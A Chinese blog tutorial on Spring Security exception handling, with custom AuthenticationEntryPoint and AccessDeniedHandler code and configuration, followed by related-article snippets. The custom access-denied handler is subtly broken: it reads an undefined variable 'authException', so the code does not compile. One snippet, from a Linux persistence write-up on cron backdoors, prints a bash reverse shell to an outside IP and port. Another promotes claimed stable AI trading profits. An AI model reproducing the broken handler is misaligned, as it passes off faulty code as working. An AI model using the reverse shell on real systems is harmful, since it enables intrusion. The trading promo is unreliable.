spring security 中的异常

news2024/11/13 6:43:14

一、简介

Spring Security 中异常主要分为两大类:

1、AuthenticationException: 认证异常

2、AccessDeniedException:  授权异常

  • AuthenticationEntryPoint 该类用来统一处理  AuthenticationException 异常

  • AccessDeniedHandler 该类用来统一处理  AccessDeniedException 异常

我们只要实现并配置这两个异常处理类即可实现对 Spring Security 认证授权相关的异常进行统一的自定义处理。

二、AuthenticationException 认证异常

异常介绍:

org.springframework.security.authentication.AccountStatusException  账号相关异常,抽象类,下面有三个实现类

        org.springframework.security.authentication.AccountExpiredException   账号过期异常

        org.springframework.security.authentication.CredentialsExpiredException 凭证过期(密码过期)

        org.springframework.security.authentication.DisabledException  账号禁用异常

        org.springframework.security.authentication.LockedException    账号已锁定异常

        

        

    

2.1 认证异常常用处理

    @Bean
    public LoginFilter loginVerifyImgFilter() throws Exception {
        LoginFilter filter = new LoginFilter();
        filter.setUsernameParameter("loginId");
        filter.setPasswordParameter("pwd");
        filter.setFilterProcessesUrl("/login.do");
        // 成功的响应
        filter.setAuthenticationSuccessHandler((req,resp,auth) -> {
            Map<String,Object> resMap = new HashMap<>();
            resMap.put("code","0000");
            resMap.put("msg","登录成功!");
            resMap.put("data",auth);
            WebRespUtils.writeJson(resp,resMap);
        });
        //登录失败的处理
        filter.setAuthenticationFailureHandler((req,resp,ex) -> {
            Map<String,Object> resMap = new HashMap<>();
            String errMsg = "登录失败";
            resMap.put("code","5001");

            if (ex instanceof LockedException) {
                errMsg = "账户被锁定,请联系管理员!";
            } else if (ex instanceof CredentialsExpiredException) {
                errMsg = "密码过期,请联系管理员!";
            } else if (ex instanceof AccountExpiredException) {
                errMsg = "账户过期,请联系管理员!";
            } else if (ex instanceof DisabledException) {
                errMsg = "账户被禁用,请联系管理员!";
            } else if (ex instanceof BadCredentialsException) {
                errMsg = "用户名或者密码输入错误,请重新输入!";
            }

            resMap.put("msg",errMsg);
            WebRespUtils.writeJson(resp,resMap);
        });

        // 指定自己的authenticationmanager
        filter.setAuthenticationManager(authenticationManagerBean());

        return filter;
    }

三、AccessDeniedException 授权异常

   授权异常 AccessDeniedException,授权异常的实现类比较少,因为授权失败的可能原因比较少,主要是在用户在访问受保护资源时被拒绝而抛出的异常

3.1 401 未授权状态

    HTTP 401 错误 - 未授权(Unauthorized) 一般来说该错误消息表明您首先需要登录(输入有效的用户名和密码)。如果你刚刚输入这些信息,立刻就看到一个 401 错误,就意味着,无论出于何种原因您的用户名和密码其中之一或两者都无效(输入有误,用户名暂时停用,账户被锁定,凭证失效等) 。总之就是认证失败了。其实正好对应我们上面的 AuthenticationException 。

3.2 403 被拒绝状态

    HTTP 403 错误 - 被禁止(Forbidden) 出现该错误表明您在访问受限资源时没有得到许可。服务器理解了本次请求但是拒绝执行该任务,该请求不该重发给服务器。并且服务器想让客户端知道为什么没有权限访问特定的资源,服务器应该在返回的信息中描述拒绝的理由。一般实践中我们会比较模糊的表明原因。该错误对应了我们上面的 AccessDeniedException 。

四、代码处理异常

  自定义认证异常处理类和授权异常处理类:


/*
* 自定义认证异常处理
*/
@Component
public class MyAuthenticationEntryPoint implements AuthenticationEntryPoint {
    @Override
    public void commence(HttpServletRequest request, HttpServletResponse response, 
     AuthenticationException authException) throws IOException, ServletException {
            Map<String,Object> resMap = new HashMap<>();
            String errMsg = authException.getMessage();
            resMap.put("code","5001");
            resMap.put("msg",errMsg);
            WebRespUtils.writeJson(response,resMap);
    }
}



/*
* 自定义授权异常处理
*/
@Component
public class MyAccessDeniedHandler implements AccessDeniedHandler {
    @Override
    public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException {
        response.setStatus(403);
            Map<String,Object> resMap = new HashMap<>();
            String errMsg = authException.getMessage();
             resMap.put("code","403");
             resMap.put("msg",errMsg);
            WebRespUtils.writeJson(response,resMap);
    }
}

4.2  SecurityConfig 中进行配置

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
                ...
                ...
                .and()
                .exceptionHandling()
                .authenticationEntryPoint(myAuthenticationEntryPoint)
                .accessDeniedHandler(myAccessDeniedHandler)
                .and()
                ...
                ...
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119456.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HarmonyOS笔记

HarmonyOS简介 HarmonyOS是新一代的智能终端操作系统&#xff0c;为不同设备的智能化、互联与协同提供了统一的语言&#xff0c;为用户带来简捷&#xff0c;流畅&#xff0c;连续&#xff0c;安全可靠的全场景交互体验。 HarmonyOS结合移动生态发展的趋势&#xff0c;提出了三大…

keepalive和nginx高可用集群

keepalived 和 nginx 高可用集群搭建 主备模式 zyj86主机和zyj87主机安装nginx和keepalived yum install nginx keepalived -y systemctl enable --now nginx.service keepalived.service主调度器配置 编辑zyj86主机&#xff08;主&#xff09;配置文件 vi /etc/keepalived…

Java类和对象(2)(重点*)

封装&#xff1a; 面向对象程序三大特性&#xff1a;封装、继承、多态。而类和对象阶段&#xff0c;主要研究的就是封装特性。何为封装呢&#xff1f;简单来说就是套壳屏蔽细节 。 封装&#xff1a;将数据和操作数据的方法进行有机结合&#xff0c;隐藏对象的属性和实现细节&a…

为什么用Redis?说说Redis的线程模型

使用Redis存储相比直接使用Java内存的Map有以下几个优势&#xff1a; 持久化&#xff1a; Redis支持数据持久化&#xff0c;即使发生服务器重启或意外宕机&#xff0c;数据仍然可以被恢复。而使用Java内存的Map&#xff0c;当应用程序关闭或重启时&#xff0c;数据将会丢失。…

一个工程要兼容mysql8和mysql5

将mysql8原本jar包的jdbc文件夹删除&#xff0c;然后将mysql5 jar包的jdbc文件夹和fabric文件夹拉到mysql8的jar包下&#xff0c;记得别把jar包解压再压缩&#xff0c;以避免不必要的错误&#xff0c;直接用7-zip打开压缩包&#xff0c;然后拖拽操作&#xff0c;然后完美解决&a…

Java:类和方法(1)

一 类和对象分别是什么 1.类&#xff08;class&#xff09; 类是Java中的一种蓝图或模板&#xff0c;它定义了对象的属性&#xff08;字段&#xff09;和行为&#xff08;方法&#xff09;。你可以把类看作是一个抽象的概念&#xff0c;它描述了某类事物的共性。 class 类名…

硬件工程师笔试面试——IGBT

目录 7、IGBT(绝缘栅双极晶体管) 7.1 基础 IGBT结构引脚图 IGBT实物图 7.1.1 概念 7.1.2 结构及原理 7.1.3 IGBT的安全工作区 7.1.4 IGBT分类 7.1.5 IGBT优缺点 7.2 相关问题 7.2.1 如何提高IGBT的开关速度和效率? 7.2.2 IGBT在太阳能光伏系统中的作用是什么,它如…

3GPP R18 Network energy savings(NES) 之cell DTX/DRX

在TR 21.918中可以看到cell DTX/DRX是Network energy savings(NES) for NR 的一部分,其中还包括 SSB-less SCell operation for inter-band CA等等其他内容,其相关描述如下 网络节能是 5G/NR 成功的关键,由此可以减少对环境的影响(温室气体排放)并节省运营成本。RAN WG 进…

ICE 8月各项板块盈利报告,人工智能与高频交易驱动稳定收益

Intercontinental Exchange Inc.(ICE.AI)近日发布了8月份市场交易报告和盈利数据,于8月份通过其先进的人工智能算法和高频交易系统,再次证明了在快速变化的金融市场中实现稳定收益的能力。凭借智能化的交易决策和超高的交易执行速度,ICE.AI帮助每一位用户在全球市场中获得了显著…

基于人工智能的智能垃圾分类系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练与预测应用场景结论 1. 引言 随着环保意识的提升&#xff0c;垃圾分类已经成为许多城市的重点任务。然而&#xff0c;传统的人工垃圾分类效率低下&#xff0c;容易出…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

【CanMV K230】快速线性回归(巡线)

【CanMV K230】快速线性回归&#xff08;巡线&#xff09; 什么是快速线性回归快速线性回归应用领域1.机器人竞赛2.自动引导车&#xff08;AGV&#xff09;&#xff1a;3.智能交通系统&#xff1a; K230应用相关函数官方例程实现图像在HDMI显示器进快速线性回归&#xff08;巡线…

C++基础知识6 vector

vector 1.vector的介绍及使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector 常用的接口1.2.4 vector 空间增长问题1.2.4 vector 迭代器失效问题。&#xff08;重点&#xff09; 2.vector模拟实现 1.vector的介绍及使用 1.1 ve…

数据分析-埋点

1、数据埋点的定义 针对特定用户行为或事件进行捕获、处理何发送的相关技术及其实施过程。 2、数据埋点的原理 埋点是数据采集的重要方式。通过在页面上植入代码&#xff0c;监控用户行为(例:页面加载、按钮点击等)。用户一旦触发了该事件&#xff0c;就会根据埋点信息将相关数…

Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

"Linux网盘&#xff0c;编程者的选择&#xff0c;让技术为数据服务&#xff0c;创造无限价值&#xff01;"#Linux系统编程《网盘项目》 前言预备知识一、 项目功能二、 程序基本框架2.1 服务器程序流图2.2 客户端程序流图 三、 程序代码解析3.1 服务器代码解析3.1.1 …

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知&#xff08;增强&#xff09;3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一&#xff1a;权限维持-Linux-定时任务-Cron后门 linux的计时任务&#xff0c;配置文件再/etc/crontab下 创建后门文件&#xff0c;这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫&#xff0c;刚开始养的时候全寝都很喜欢&#xff0c;甚至隔壁宿舍的都来看&#xff0c;而且猫咪很亲人&#xff0c;没有对别人哈气&#xff0c;一片其乐融融的情景。 但是养了三个月之后&#xff0c;宿舍矛盾开始爆发&#xff0c;有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前&#xff0c;北京博科测试系统股份有限公司&#xff08;以下简称&#xff0c;博科测试&#xff09;提交了注册申请&#xff0c;其距离创业板上市更近一步。 时间线上&#xff0c;早在2022年4月21日&#xff0c;博科测试就递交招股书&…